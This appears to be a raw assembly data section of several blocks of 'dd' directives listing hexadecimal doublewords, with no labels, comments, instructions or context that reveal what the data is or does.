dd 6A9B6F3Dh, 8DB34BD8h, 0E2AD9A47h, 0AC5E6072h, 73305181h
dd 0CE61B1Eh, 1890B18Dh, 84D3B6Bh, 254DAE0Fh, 97D38880h
dd 4595CA6Bh, 0CF8C2ADFh, 65A1FF3h, 98375D32h, 56CB9AA4h
dd 2D3168DBh, 53C2189h, 2CDC51F1h, 329A79AEh, 0ED4B73B8h
dd 1E68FD38h, 0A142D3BDh, 7982A18Ah, 0EF083E49h, 135E6675h
dd 0A444A99Ch, 0C6DB98ACh, 352D6963h, 39E32Bh, 3C4E5C36h
dd 8381FD78h, 779E3EE1h, 0C51F5505h, 60DB916h, 10A1D9E9h
dd 1C1C183Bh, 823CFB12h, 0C259AEBDh, 0B4B6F1BCh, 659ABAC7h
dd 0B134A527h, 3B1A981Eh, 0DAC7AE40h, 79561EE8h, 0FC4D2B05h
dd 438CF0D4h, 9BC9D5B2h, 736FA54Dh, 4EC37785h, 0A692E16Ch
dd 0D83ED48Ah, 3219C983h, 93C04E0Fh, 7E036834h, 82BF8555h
dd 0D50A1CE9h, 8C549C35h, 6CF6FC74h, 51873655h, 8F6538E6h
dd 0DAA57BAFh, 0F60DED9Ch, 58B3F242h, 0C9F878A8h, 5BE04BBAh
dd 997368B2h, 0C9098B4Dh, 0ADE70D14h, 7B3527DEh, 12EA1D1Fh
dd 19949986h, 0C4259AFDh, 616D0C26h, 0A5F2DDA6h, 278B1383h
dd 99DE45E3h, 2D2D3FB2h, 9F2F4A72h, 32A7FAEDh, 0EED60949h
dd 0E569207Ch, 65A97491h, 43A3721Ah, 800173F0h, 3A7DCB04h
dd 9458DFB8h, 759E88FFh, 2FEDD32Ch, 10F9C321h, 986789B2h
dd 323EA4A1h, 8771122h, 1F01D51Fh, 364C7531h, 0E3BDF049h
dd 7339CB03h, 0AB3A10D1h, 2D502A93h, 7F36C4F5h, 1C644341h
dd 0AC54E710h, 0C450AFB1h, 0C1CC9398h, 0EE9E215Eh, 7C387041h
dd 0AF6BD10Dh, 0B8B31F33h, 6D758B93h, 0A3286434h, 5880FE9Ch
dd 99960DBEh, 0C1F2A5CBh, 4B711631h, 0C3AAE6BEh, 0AC2FB16Ch
dd 7942A72Eh, 0B0D64BE9h, 7C166128h, 0EACEF12Ah, 5E9C99CBh
dd 3A66F814h, 0A33ABF1Dh, 2DE54321h, 81193FCAh, 0D7BC69AEh
dd 8A1EE782h, 57B8D16Fh
dd 0CE789244h, 6E04EEBDh, 0AB471798h, 0C9036D76h, 0D9FD14E1h
dd 61085FBBh, 7E8A7A6Eh, 59EA4A3h, 6D111E60h, 0A37659FCh
dd 4ADEC7D1h, 169F0699h, 0DF8C08A0h, 757F1FA8h, 9410493Dh
dd 56CE8F9Eh, 405E2CFEh, 0E2AF2C28h, 3CEC3F95h, 21B37E3Ch
dd 8F3E20BCh, 5777F111h, 0E336BEADh, 5480BFDAh, 0CA01365Bh
dd 0F0B79006h, 1D74C7BAh, 0A713D1EAh, 497C4Eh, 807FB2Bh
dd 714A5F36h, 89AF8B0Ch, 749E1DE4h, 0A5C9ED84h, 23700BBAh
dd 7F47CCD8h, 33737F78h, 0FF02C62Dh, 0CD44ACF5h, 0B4DFF7CAh
dd 179DC8ACh, 5F5C55C5h, 0FB0EDF9Fh, 88B07D4Ch, 34839Bh
dd 0C441334Ch, 2EE08EEBh, 0EBF74AC4h, 3119D42Fh, 0CF4E7904h
dd 23A785FFh, 0CC7FB15Ch, 2219C973h, 0EDAF2AA0h, 33680449h
dd 0EDFBF12Bh, 0B37F6984h, 0DED5D47h, 0C2753C74h, 1DC17321h
dd 0FA6EAB89h, 0A1BA26CBh, 0BE2880F4h, 19EF268h, 0A29B599Ah
dd 1B15AE11h, 0B12A215Ah, 0D20A4973h, 0C9C418FDh, 7E1B4E82h
dd 0EE57815h, 0A8EA389h, 0EC6C9DF7h, 801F83A2h, 6AF86494h
dd 298A3ABBh, 97C3453Dh, 175F658Ah, 990A3258h, 5AD59D9Bh
dd 0DEFE1B61h, 62DD2BEAh, 0DC0C7E58h, 4D8B0A7Fh, 9BD116B4h
dd 5A53EC0Eh, 0A6ADCD8Dh, 5E80A3F9h, 2CD2D34Ah, 0B76B483Dh
dd 4931C8ADh, 0B60744B8h, 78596864h, 3B2E9278h, 36637311h
dd 819AA458h, 1154CC6Fh, 0B0B6A761h, 99A5DD3h, 1A3BF2C3h
dd 721D3370h, 9E46E735h, 0C070BEBCh, 0B4C881B9h, 0E5AA4F2Dh
dd 0FA38F4E0h, 0FE6997EBh, 98B3691Dh, 1D749BE3h, 0AD204A3Bh
dd 4D9BE0B9h, 0E8F32FA4h, 0C8DED4AFh, 0E7D702ADh, 67E7E0EDh
dd 0FC80B14Ch, 5E73A02Dh, 0AF2C4A29h, 31056139h, 98E2F12Ch
dd 4496BCE9h, 0CDF0732Eh, 0C7561C74h, 7F861340h, 0A713C2ECh
dd 0ADD122CBh, 9B18E7BCh, 45A7D363h, 0CF06995Ah, 7E9D6E3Dh
dd 943ED45Ch, 0A076501Fh, 0C8F78192h, 773743B3h, 11E21A33h
dd 6BF9CE85h, 7822114Eh, 257ADD48h, 64B14574h, 7992A97h
dd 8AF65003h, 131E0FE3h, 8522550Eh, 5ECB96B8h, 4A450FE0h
dd 504845CFh, 99405A50h, 41F168FBh, 0AEC207B1h, 5F5FF40Eh
dd 87A3CA83h, 33E3CD89h, 0CD36216Dh, 7B190300h, 5DF523B3h
dd 8E2231EAh, 79A14851h, 767DF517h, 1394385Fh, 9C8AC678h
dd 64BA28F1h, 0A16C7D22h, 39C5AF7h, 7FA66C40h, 3466477Dh
dd 0CD2CE217h, 0CD70CCD7h, 0C0D7B2A7h, 6284AEFBh, 0DF4CD420h
dd 0CF73679Ah, 8BDC6F3Ch, 3055E08Eh, 82183B54h, 5E87EB87h
dd 949729B6h, 4C7EB656h, 27AC1FF0h, 170AECF9h, 0EC10C359h
dd 373EC963h, 96DD782Ch, 63136121h, 0AEAC9C44h, 0DE152FF6h
dd 0E03C8922h, 823F7C11h, 2E41F666h, 0BE1C1AFDh, 0C7647EBEh
dd 0E93A1B92h, 55ECAF27h, 0A3973CDCh, 6BEC7B98h, 0F89F8538h
dd 0E3714AA4h, 0C935FA2Fh, 603143A0h, 0DD5170Bh, 6BF8C99Ch
dd 0E43380DEh, 747F0C25h, 2AD06D3Eh, 0E782D3CAh, 52DF2148h
dd 17F4B93h, 0B8265A20h, 3AC98386h, 0E3B16E05h, 0F37C2148h
dd 0FD25491Ah, 5F4F63F0h, 0BD2007BEh, 5F46F101h, 0E83CBE95h
dd 550FBFA0h, 44D9BD6Bh, 3F13C906h, 2EFF08BAh, 9C16F39Eh
dd 0D800245h, 23298A78h, 19A5422Dh, 83944D60h, 10546A6Ch
dd 0AD0877B6h, 6C05D04h, 1AC334BCh, 720D5613h, 0BF1A8549h
dd 0E747BBCCh, 0B4D69626h, 0F2BB4FEAh, 7B384710h, 3F745EA7h
dd 0F8B349F8h, 4D756BEFh, 9E226426h, 4185EB9Dh, 2813999h
dd 17F5B4E6h, 6E711328h, 3615845Fh, 8849F758h, 3F1E990Eh
dd 95CD5F3Ah, 367C0457h, 8B2B947Ch, 575380CCh, 4D359D46h
dd 275B3927h, 0B62E74Fh, 0B7061ACFh, 0D52B0ACBh, 0A77A76F4h
dd 17AB2C27h, 0DC7EB928h, 224ACFBDh, 0F4BF957Dh, 0A63557D3h
dd 0AD4F9462h, 12ED39CAh, 7EF27566h, 6B1BC96Ch, 85C7559h
dd 0C06628AFh, 0A4B50544h, 17F9AFA7h, 0BF8D2944h, 2B1E8799h
dd 0D942F445h, 0A1A7D5E9h, 94319985h, 0BDC85C4Fh, 8D6C3354h
dd 3B120BAFh, 0C9FB72A8h, 386498F7h, 0E9DEBF24h, 3079CD85h
dd 0BD945339h, 920DE67Dh, 0AD8806C3h, 0B23DA1D5h, 3592C960h
dd 0FE0D7E1Eh, 8AAD2428h, 0B86A4F80h, 334A221Bh, 8D4D4B35h
dd 1AB91F8Fh, 68D255A8h, 50631E83h, 0C5BFB3E1h, 9C71FE49h
dd 834FCB9Bh, 26F5FE07h, 6DE56603h, 49586DD4h, 0FA000ED6h
dd 92575189h, 62491D5h, 743FF479h, 4D6C5C00h, 7827E91Eh
dd 5900C6A3h, 69AC7C4Ch, 0D964AFC6h, 696100FAh, 0C76C32D0h
dd 36C60811h, 0DD10F70Fh, 80615AB7h, 3FAC6FABh, 709D8F3Eh
dd 6FDB819Dh, 0E94EF89Ah, 625F4597h, 56DA9B7Bh, 45130E8Eh
dd 0DF1A8278h, 99F7F88Eh, 4FDA394h, 0F06A6C83h, 8A23A1B6h
dd 5FF50D14h, 468E41E5h, 59C5FC44h, 0BE6AC047h, 0B46BDDC1h
dd 0B1F6D0D0h, 316FAA77h, 70A46658h, 9F2E2393h, 0A05182F4h
dd 0B9E20DFFh, 0BED9B328h, 0BEC1EE43h, 0BD4E4F21h, 5141249h
dd 0F4FA4182h, 44FAD1Ch, 0D4A3867Dh, 0DF9F2F4h, 107CE949h
dd 0ECD019FCh, 831D18E4h, 0ACFDDF16h, 0DC0DEF8h, 4350C261h
dd 0CCB1D25Bh, 98126F78h, 410BD023h, 47375291h, 0FC9D105Ah
dd 1F0256ADh, 5D561A0Eh, 0C5CCB746h, 9A0CFB96h, 87B2CF85h
dd 0A15F7A3Ah, 0ABD5A1F2h, 2EB54A00h, 0EE7AFA96h, 0AE144DEEh
dd 8E8B1979h, 0B6A536ADh, 2AD33995h, 6CE71CC4h, 2C139143h
dd 6F9B1A89h, 0D7F3B3A9h, 62220126h, 0D0210084h, 7F3F32h
dd 0D9E7C28Dh, 5DED063h, 0FAAD2AC1h, 146DAA0Fh, 75399B74h
dd 9A19FA4Ch, 0A571CA95h, 3BF0D26Ch, 7D02DAB8h, 5DB098F7h
dd 0D62DFBE9h, 2BD4AB4Ah, 0CD9C6306h, 8EBBABA2h, 56110177h
dd 49CE4CB5h, 55B6F154h, 318A4F26h, 7BF8928Eh, 0DE68FF12h
dd 0DB3B5C0h, 75AAE3E5h, 18086572h, 65926361h, 0D8C218A1h
dd 8E963B17h, 0B68C2B6Bh, 0B945AD4Ah, 0F31D34h, 0F7843871h
dd 53CB16Ah, 0D539891Eh, 0C16F2C8h, 914468F7h, 2E4C5B98h
dd 0E14BFDA4h, 9EEACD34h, 8882D45Fh, 3B167B0Ah, 0E37CADAAh
dd 0E72884CFh, 84D6CE6Dh, 2F995619h, 0C3AC19B6h, 1DA05F89h
dd 53871EAFh, 0CDB6BCCBh, 9080F1AFh, 8C19C5F0h, 5476CE03h
dd 0DF81D408h, 0BA89FF5h, 9845EC82h, 0A01BC3B6h, 0C39DB3Ah
dd 0F23E5262h, 0C96B1D8h, 1B6A421Ch, 63517A03h, 4C5E0B93h
dd 0C29DBD3Ch, 1C4702DBh, 0D8790675h, 2E73CA9h, 0DDBBC7C3h
dd 8027556Eh, 0BFD0EFF4h, 30E6CF13h, 0E396193h, 5941E975h
dd 0CA7D4DEBh, 2101F8Bh, 0FF26B0A2h, 125D632Bh, 0FF2A294Ch
dd 51F38C06h, 0C9411FDEh, 8766BFD2h, 59E800CAh, 450440ACh
dd 5842FDA9h, 0BF54C13Ah, 35855BC1h, 0F13B91BEh, 130A4A82h
dd 6207B40Dh, 0EA5A8694h, 693E7BC7h, 0D7009F60h, 79F1C8h
dd 7B25472Fh, 0D48CAFB6h, 1A9B093Dh, 0C5003ED1h, 3A2BDD2h
dd 0D84D839Eh, 483F9E6h, 1B24E2DCh, 652B9017h, 0CAD1D612h
dd 5F7F6A3h, 0DA5CA6C6h, 0DD46DCBh, 0E764A996h, 64328FCBh
dd 0C98B44D2h, 4A91F5Ch, 0D4383CF2h, 213A8D2h, 680711ACh
dd 0CAF6BF42h, 970FF544h, 8A36CC4Eh, 0AE7375B8h, 241F2E0Fh
dd 0E12085B8h, 82D257C8h, 0B293313Bh, 3BBCCD8Ah, 0F7BF57E4h
dd 1F122A1h, 9236842Ch, 0A8B756F4h, 26273004h, 0FF5F4849h
dd 19FB108Fh, 0D2EC0566h, 0E6F3336h, 0D03CC9C7h, 0EDEDB20h
dd 70A5A149h, 0DF7FE088h, 10477E10h, 4FF9EFFEh, 0D8014717h
dd 31771319h, 7D8BBE66h
dd 0D8D8F14Eh, 11EC6410h, 4CE76131h, 0DB8002E3h, 0F003BC0Ch
dd 1CFD0FA8h, 69394983h, 403BF18Ch, 4DB34B52h, 0B2EC10AFh
dd 3D9CBAD2h, 78FF5065h, 5835B681h, 0E890880Ah, 75A4C59h
dd 0E5F729EFh, 86868784h, 3CC66171h, 0F28DB9A7h, 6C6907E9h
dd 0CAE7BCFFh, 18779EDh, 0DC6AA77Ah, 3908841h, 9E13FC18h
dd 0A12F187Eh, 2E1B947Bh, 0F13A13ECh, 0D21DB26Ch, 9D066C1h
dd 0E9F2AD98h, 0E40A82F1h, 0E1CD22h, 0E9F8D056h, 0A56F5DC4h
dd 0BE7B937h, 0ED1F0815h, 424B262h, 0F0ABF3A5h, 9927CD16h
dd 97FDF505h, 0A8776F98h, 0A7A1E59Dh, 0A13C473Dh, 0C39039AFh
dd 3217C917h, 0F2525496h, 268A04Dh, 120EC6B9h, 0E92737AEh
dd 748213Bh, 0E9604680h, 77A921Fh, 0E91540EAh, 7F317B2h
dd 0D692C198h, 88D1D4E7h, 364B23CCh, 0F9CE244Eh, 26062756h
dd 4196180Dh, 0DDD85963h, 315B1EDAh, 0FEEFBAF6h, 9AAD726Dh
dd 3375A662h, 7E314259h, 0D11E3009h, 77AB4792h, 0DD141034h
dd 0BAF4464h, 7312F300h, 4692C84Ch, 35E7D314h, 7D3F5864h
dd 592962CAh, 4B778C49h, 0F28D76F2h, 164B6F71h, 0D47795DAh
dd 0AF77A59h, 0F1668CC0h, 1F2F846Eh, 7152728Ah, 0DC2B2E47h
dd 7371391Ah, 0DDFC48CDh, 0B1F9768h, 11A4FBD4h, 0ECCE926Ch
dd 2405A68h, 0ED1838E7h, 0A2BC8F14h, 0DDC1642h, 0EC97B9D7h
dd 621E8BA2h, 46944AFFh, 90DFA98Fh, 8CF9444Ah, 3A608F56h
dd 68D309E4h, 4FAFBFFAh, 0D8D3F8F3h, 0E0EBC778h, 95787839h
dd 27B1A4CCh, 6EA6CEB2h, 4B543C1Dh, 0DB2E29B1h, 2321CDFCh
dd 0C70B5BDEh, 2FE2836h, 9BD7089Eh, 246A1EA2h, 0E944DFE6h
dd 96305164h, 0D171160h, 0EEC28537h, 7A27579h, 0D36B3306h
dd 970CFCBh, 0F61DADD8h, 980C63CEh, 378C07C9h, 78F30909h
dd 0D74151CDh, 31D51C00h, 7B63BE65h, 5DA4F7EBh, 553CEF47h
dd 69BE255Bh, 0AEC3278Dh, 0BCD648C0h, 0BBB21766h, 384746CAh
dd 7A77F0E1h, 42E94760h, 0B75D93E5h, 0BCB278C8h, 0B937736Dh
dd 3A3A8401h, 0FB5F7353h, 13F46C86h, 0D6491AEBh, 8D873B89h
dd 0B280ACE5h, 3EB59422h, 41F5FBCDh, 0D7856927h, 74D0D8A3h
dd 0DCA45C3Fh, 9689D9Ah, 91BDFCBDh, 2DC010EDh, 6361144Fh
dd 0DCDE58B1h, 0AB999EB0h, 8AF1F26h, 0EA0CBE8Ah, 0E1AD8936h
dd 8785C94Ah, 0AF8E5186h, 82079BACh, 0BD53809Ch, 6C957E69h
dd 5AD193D1h, 0AB44C671h, 0A9D9C6CDh, 0B12CF842h, 0B4F7E56Bh
dd 362128A4h, 766A2DB8h, 0D6002363h, 29A7CA6Dh, 0C1295BFDh
dd 6A0AEE6h, 1CD14F6Ah, 64D8F811h, 0C91ECF14h, 868ED97Fh
dd 3820D598h, 0EF88EA09h, 0D70F72Bh, 0DE3AE642h, 85AAEFF8h
dd 0BA4517F4h, 0B4FC963Bh, 4B971743h, 7C6034DBh, 0DFA4A444h
dd 3FE60CB3h, 0F67EBC8Eh, 11437A8Eh, 794023FFh, 147E0869h
dd 6BE9DB54h, 0D53E5DC0h, 8297106Ch, 0BA5D4B9Ah, 0B5A7FABDh
dd 0AB75CC2Ah, 0A34256C0h, 0A05D1C41h, 0A03A86B1h, 429D9A89h
dd 0F2B079CBh, 12D76C0Dh, 0D2EB9C8Dh, 0A23FC93h, 753BCAA1h
dd 5FB06271h, 50C4A2A8h, 0AE59841Eh, 38C7CFBDh, 0FAD2D513h
dd 1A4ED93Eh, 69D5DF3Eh, 20871E0Ch, 0DB3E1C51h, 0E275627Fh
dd 0A5A8A218h, 6141211h, 0E682B217h, 6E888651h, 0C85E464Dh
dd 80BF1EA3h, 1D03B488h, 0EA4B9F94h, 11C4F8BFh, 656D668Ah
dd 2380D50Ah, 6C83B037h, 52CDE061h, 47F7EB47h, 3C062C30h
dd 707E2EA2h, 0D5F321F4h, 24E7CB89h, 0C46C59B7h, 4EC2F5Bh
dd 9AAE8ED5h, 0A4ABDEACh, 0A88F7F8Ah, 0B76A20B7h, 0B161C853h
dd 2ACEE555h, 6C766F5Eh, 0CFD7A9A5h, 0BE898BE4h, 0B739048Ch
dd 0B3679F26h, 46901EC6h, 73CD38C4h, 0D159A973h, 312901E6h
dd 78D5B213h, 0DF3FF460h, 976E6DDFh, 0A66E663h, 7C15C4B4h
dd 0C6EADA15h, 0B2ED5A53h, 3B88675Bh, 0FFA5FB4Bh, 85C6C8DEh
dd 97A9513Ah, 16F1A67h, 9DD8A01Ch, 481FA133h, 0FDAE7065h
dd 1D6862ACh, 0DEDD13ADh, 8606B0BAh, 38E0E767h, 744A7EE1h
dd 2B73A14Dh, 627C846Dh, 0D9B8C9A3h, 8C505281h, 17E51E13h
dd 6B6D39BAh, 24D32821h, 61F92260h, 0DB4B2406h, 0AEDB8661h
dd 0CEE19A1h, 0EDFFB86Ah, 0E5C48DEAh, 3A9CD92h, 6BB2D5ACh
dd 0E1CFD837h, 0EE0F6309h, 1849AD5Bh, 6B1A06D6h, 0A075CF55h
dd 2711B537h, 7EC5EB2Dh, 5B92E6B5h, 49412361h, 0EED624CDh
dd 0E4971340h, 2687F89Bh, 0C4B95A99h, 460AF85h, 1B48CE5Ah
dd 0E4EBBEA8h, 8A3F6EA0h, 255C2A4Ch, 0EAEBCE22h, 194AE45Ah
dd 6F43E3DDh, 0CA7C6764h, 0B16AA76Dh, 0BF817F2Eh, 0B88D8DD7h
dd 439D177Eh, 76403B4Fh, 0D48EADC2h, 375E04C1h, 0FEDFBBB3h
dd 9960720Eh, 0B15EABA8h, 3DD8C1A9h, 0FD027302h, 0FB831B35h
dd 0B9907F67h, 0B35160EFh, 35A50B8Ah, 0EB6ADD55h, 828E5C3Fh
dd 901A1E58h, 0A8D29900h, 454C985Bh, 0F0CC787Ch, 13066C09h
dd 0D3069D09h, 0B9B7D28h, 0F3ED0B9Fh, 9EDF4556h, 3171930Eh
dd 82047DAFh, 0FD5EEF33h, 0FB3DEA86h, 138657BFh, 67E81277h
dd 2C3A33D8h, 8BFE27FBh, 0E1051A4Fh, 0A45FBE10h, 62D1C0Bh
dd 36F7B306h, 5F89B6B6h, 4CED76F0h, 44529DEDh, 0F98BF077h
dd 9ED97B1Ah, 1CEDADEAh, 648A0BD0h, 28CCC4F7h, 0EEF2BF6Ah
dd 1428E212h, 6098EC52h, 4AE429B0h, 7E5E2F23h, 0D64B27CCh
dd 211BCC23h, 0C2D45E04h, 3062867h, 9BB109F2h, 24B59E64h
dd 68D21F59h, 0D74530D7h, 0E156C016h, 130DE164h, 63C26CB1h
dd 0CBF32971h, 0BFCB4E49h, 0B43F66B7h, 0B0FC8D8Eh, 4B161BD8h
dd 7EED3193h, 0DC29A21Ah, 3C1D0DFAh, 75EAB0B0h, 52AEF90Fh
dd 0DAEEE03Eh, 27F5ABFCh, 40726921h, 0C2BF265Fh, 0BA214E1Ah
dd 3598675Ch, 71D80D59h, 0CA23D8B9h, 0FE125119h, 94A7129Bh
dd 0A0FC9510h, 4B1B9477h, 0FE3377E4h, 1CC063A1h, 0DD8C13D5h
dd 85FA33D9h, 0BA1725D7h, 0B7815C92h, 96D937Ch, 7FC271A5h
dd 0CF47D8CFh, 0FF695382h, 16A1905Ah, 63E07642h, 28ABC73Ch
dd 6DB63C4Dh, 0D735207Bh, 0A27F8E20h, 611B31h, 0E0B9B5D1h
dd 0E8B8813Bh, 8E85C0C4h, 28E65F2Dh, 0C4D31D2Bh, 9BA5466Eh
dd 15819888h, 6B167AB5h, 0A660D753h, 0A2CEB3CEh, 3944EF36h
dd 7D24E136h, 5FF824B4h, 4FAA22D7h, 0D65B2A20h, 2D85C1CBh
dd 0CFC753AEh, 0EFBA5C2h, 167D4456h, 6CE07618h, 408E0715h
dd 0CF05308Bh, 9114CC5Ah, 16C8EB58h, 0A0CADEB5h, 0FF83DDFDh
dd 0BA975B1Dh, 0B1935343h, 0B57C700Ah, 4F6603A0h, 7AB53BF7h
dd 0D80DA764h, 38C309ABh, 0F11BB4A0h, 165E7C1Fh, 0FE6924DEh
dd 53758F74h, 4CF21DADh, 0C23F3ADDh, 0BF894541h, 0B65866FBh
dd 0BC680140h, 26DBD54Dh, 0E2F25225h, 80B71EFBh, 0D0049900h
dd 91F987Fh, 0D55D7A68h, 3A896FB3h, 0D19CA61Eh, 3C03C60Ch
dd 49C7700Bh, 0E3609976h, 2C11BE90h, 72784851h, 0F5A4EB33h
dd 0CF7EE486h, 23C9E6D6h, 547C6196h, 1E55E140h, 5BBF0279h
dd 0E175925Fh, 944E7A08h, 363D0E0Bh, 0D6F37414h, 5EEFAF37h
dd 0F8DC7AB0h, 301A2FF1h, 0EDD70553h, 0BAA96FE2h, 1095A85Ah
dd 5C0A47CEh, 1E44EC64h, 5B6285EFh, 0E030D79Ah, 3478D84Ch
dd 6EAC1DDBh, 0F2FE1C6Eh, 2D0B1368h, 73DFF897h, 0E5226ACCh
dd 4E571CD5h, 0E329BD27h, 0B6746AB8h, 0F2A0BBDh, 0FA3EF43Bh
dd 0A96AECE2h, 282FD998h, 503D5FB5h, 0FC6B9D7Dh, 8BAF3BDDh
dd 817D726Bh, 840B48CAh, 7E3FB6E4h, 4BE148AFh, 0E96FB53Ah
dd 95837BCh, 40A40D43h
dd 0E7F6099Ah, 2F897742h, 729DA968h, 650225C5h, 8FC70F6Fh
dd 83A17544h, 61057A7h, 0C7483E4Ch, 3E3BEDE9h, 0EB726B67h
dd 0B12F2768h, 6DBCA0D5h, 0F2ABA1CFh, 8D8F43A2h, 0A0A5666h
dd 59C3261Eh, 7863860Ch, 6BD7500Bh, 0D0788976h, 2595B690h
dd 76BE4C51h, 0F785E933h, 0CE0E6786h, 23412156h, 0BF281D6h
dd 38F8CC05h, 2994E214h, 94CBA7DBh, 0DFE51A56h, 2B10F883h
dd 0B6BAF239h, 2FCA679Bh, 0D5D27991h, 5266821Fh, 23668A11h
dd 0AFE3D3B1h, 0BC243E52h, 65C73DA7h, 5DAC768Ah, 0A1DCF765h
dd 8F166A03h, 3525A70Fh, 0C6985049h, 0E5123180h, 0C1F6F346h
dd 0BA7ED174h, 5AD596DAh, 0B07EFC7Eh, 2D234468h, 0BF8D46AAh
dd 0BD4D1F67h, 0D4DEC14h, 6DCC11B0h, 311B8D0h, 6291BAF3h
dd 176DEAFEh, 73223332h, 0E9403E01h, 0A290A39Eh, 634EC78Bh
dd 40DF4F22h, 68457F6Eh, 10BB411Dh, 32A9F255h, 3D90A93Fh
dd 0CC8D1D5Fh, 4C07CE38h, 0B5FE86A4h, 9FABCEEFh, 0FBCC8AFEh
dd 30591454h, 0BBBED57Ch, 4A436D77h, 2407A7B6h, 0ED76F5B9h
dd 0C7E58964h, 510E6BB1h, 1E79EEBh, 922C2A47h, 3DDD48EBh
dd 0B9E68CE8h, 831E9242h, 78CF02C4h, 0C6F200CBh, 0F1A017A9h
dd 0CA87BDE1h, 0AE87EDFCh, 0D50864DAh, 4A484F11h, 0EAB888D7h
dd 86041648h, 0C953411Fh, 110F3FB3h, 2361ED41h, 41B864A5h
dd 4CE4691Dh, 0F829C78Ah, 8BA9AEC6h, 3000AD25h, 8D364BD4h
dd 3148A218h, 0C07E7829h, 0BEEB058Bh, 85A74BBEh, 10092CA5h
dd 359AEB6h, 5C582E6Fh, 0BA3E35CEh, 8D471380h, 0A38AAB85h
dd 8D164596h, 981C5931h, 0B32274C2h, 0C7A75C6Fh, 0DDF16D24h
dd 8D88A89Dh, 800A165Ah, 6222FEF2h, 0A04996h, 0DA22B7FCh
dd 43C88D64h, 309D998Ah, 0DA9D28CDh, 5E62EE87h, 50506CFh
dd 8FE70B53h, 94243DE7h, 635172BAh, 0B9EED3ADh, 0B305AD60h
dd 63B7A263h, 26A29E76h, 286754D3h, 0CA8F9F35h, 203C9673h
dd 7A8AB82h, 0B2532E4Bh, 82104F14h, 0ECA8D7F8h, 406703ECh
dd 0B60469C3h, 4B8AB7EAh, 88BA50E6h, 0A16703F8h, 0AEE680E9h
dd 6BE4015Fh, 43F650A6h, 1D660999h, 7F221B51h, 7CF6FAA7h
dd 6CD4AD49h, 0FA53F517h, 9A249123h, 991BB560h, 4307A475h
dd 0B2E1EFEAh, 159A0A16h, 0B33B98E0h, 296E79E9h, 0E53BFB1Dh
dd 7F785864h, 0F27D47E4h, 0B0E3C690h, 0BAF8CAAh, 0A6B0A669h
dd 0AC7AD09Ch, 5CE8D392h, 2D20EDD1h, 8E635ED1h, 354BD02Dh
dd 0CB4BBE36h, 0A823E0h, 737A5D28h, 0E12A656h, 5F9C9D07h
dd 0AEB86666h, 816A92D9h, 9C2D611Ch, 0B0B97CF6h, 6562444Ch
dd 7E78551h, 1D30F48Ah, 0BDA4FCE3h, 0F5E4C117h, 0EFA03593h
dd 6ABCB8B1h, 1BF8BF6Bh, 348F605Eh, 0BF207D50h, 0B8EA1EF2h
dd 0DF95C173h, 7D6324A3h, 0DEE95F4Dh, 54495CBDh, 0F4D25355h
dd 0DB15699Ah, 0BF4CA6D7h, 3C22647Eh, 0C644289Bh, 0D8C3F7EDh
dd 3743B695h, 18EF6696h, 2520293Ch, 0D4E9597Ah, 69C42145h
dd 53151C26h, 5DB32F56h, 0C4B3F983h, 9242FD85h, 0C93FE0C8h
dd 17DCA538h, 8033C827h, 36BD5E93h, 0A6636E8Dh, 9067960Ch
dd 9064D1FAh, 498986EAh, 0D869C412h, 0BDC40D35h, 0D6D44256h
dd 0AC99FAC1h, 0EB3507DEh, 499B435Ah, 6C5A01F8h, 0A299334Ah
dd 38215A56h, 0AF53524h, 9B302581h, 7CD35037h, 6633B305h
dd 7DBD702Bh, 57249D4h, 0F437500Dh, 747EA74Ah, 0C99CBCB6h
dd 28FC9839h, 0D6595F40h, 521C2588h, 0A48BF77Dh, 0C93B6D10h
dd 2E91BBB0h, 0CB6148DBh, 771FFA95h, 12D9C4D6h, 0D3928BCFh
dd 0CF41EC0Eh, 0FB61CCE0h, 0B64D0A41h, 0E6FCEAD7h, 6EE512D5h
dd 415FFDD1h, 1035DF9h, 4DB5ED15h, 95E86220h, 97E3B782h
dd 4630277h, 0BD5AD575h, 0EB152F86h, 5297F98Eh, 49BE5210h
dd 6ADAD4F4h, 2EE027B0h, 886F36E6h, 0E3B76E21h, 6FC3ED65h
dd 0FC2166BFh, 8A95B7C2h, 43883FF2h, 0FA2843EAh, 8B4CF37Eh
dd 92D3E58Bh, 599EC717h, 9E94CBF3h, 2489785h, 7180532Eh
dd 7E654ADFh, 942ABDBFh, 978C4884h, 5BC2DF04h, 4811784Eh
dd 8C24FE66h, 0E7B98E66h, 0F75C84A9h, 0D1FFCA0Bh, 7C1EC28Fh
dd 0EE7A5ABCh, 2E9C261Ah, 938CA81h, 5F309A19h, 35E13E43h
dd 3B13FFDFh, 0B201427Fh, 6756E046h, 9C4FFBFCh, 0AAD7DF47h
dd 46F5687h, 0D1254510h, 3A20CFBAh, 0F0BA16E9h, 0AAB0510Ah
dd 0E82ADF8Ah, 6D032F64h, 0D9A33C1Dh, 3E4B392Dh, 9327D28Ch
dd 9DDD6938h, 6AE6D3F7h, 0E3DE2C8Eh, 16793CBFh, 6C028177h
dd 0E8E7DD71h, 0F3FC3D6Ah, 297EF025h, 6C643A59h, 0DA70142Bh
dd 46F42EA0h, 0B9BDBC87h, 828D5055h, 62C597EFh, 1EAD03DDh
dd 0A72113E3h, 8389FCF4h, 855613A8h, 0A72FB6A4h, 73D2DAFEh
dd 9A2C23A5h, 0D6986B9Bh, 0D5423626h, 79DA78BDh, 65B54624h
dd 20B58ED4h, 3927F4C2h, 18F0CB8Ch, 0FC4E3CF3h, 1FE1F7CBh
dd 948A86D2h, 97F9D31Dh, 6CA40F83h, 0AFBFA36Dh, 4E9EDC6Ah
dd 8C7822AFh, 62EF594Bh, 79141C03h, 780E7770h, 0B5D990B6h
dd 0AA71A9A5h, 0CCCF2EC4h, 0C668FBFBh, 73AFA07Dh, 32F92236h
dd 0CB42AE06h, 15A21071h, 0FFBF5619h, 6767A6B2h, 0DE2291A7h
dd 0C2FC342h, 0C2BFB56Dh, 7B64C30Bh, 37A87502h, 9F3A0521h
dd 230BA8Ch, 0E5AB099Ah, 63FF38CCh, 2A5140Fh, 8F8C3D6Ch
dd 21D980C8h, 1BD707D8h, 567FD433h, 21C9A70Bh, 794CDAEEh
dd 0D74DA4A0h, 34AB00B9h, 9317C27Ch, 2898FEBAh, 23434587h
dd 5FD257FAh, 0EF2309A8h, 337A734Eh, 2B1B4D16h, 7401646Bh
dd 0BFBAE4C7h, 5FDDF1E7h, 8F256664h, 0A38587DBh, 8EDE961Eh
dd 0F002E4E0h, 50D38C6Fh, 0E68A669Eh, 0C37CE2A4h, 4EB23624h
dd 0F2731353h, 0F4C60A84h, 0B0F9BB05h, 0F6314D7h, 9F90A639h
